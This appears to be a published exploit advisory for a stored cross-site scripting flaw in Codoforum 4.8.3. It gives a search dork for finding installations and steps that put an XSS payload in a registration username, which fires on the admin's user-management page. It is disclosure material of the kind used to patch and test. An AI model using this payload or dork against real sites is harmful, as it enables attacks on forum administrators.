Codoforum 4.8.3 - Persistent Cross-Site Scripting

# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting
# Google Dork: intext:"Powered by Codoforum"
# Date: 2020-01-03
# Exploit Author: Prasanth c41m, Vyshnav Vizz
# Vendor Homepage: https://codoforum.com/index.php
# Software Link: https://codoforum.com/buy
# Version: Codoforum 4.8.3 
# Tested on: [relevant os]
# CVE : [if applicable]
# source: https://medium.com/@c41m/b2e1133c6a91?

Codoforum is prone to a stored xss vulnerability.
An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.
Codoforum version 4.8.3 is vulnerable. 

1. Install Codoforum 4.8.3 in a local server.
2. Goto http://localhost/index.php?u=/user/register
3. Create a user using :- 
			username : "><svg/onload=alert(1)>
			password : password
			email    : [email protected]
4. Now goto http://localhost/admin/index.php?page=users/manage, an XSS alert popup will be triggered here.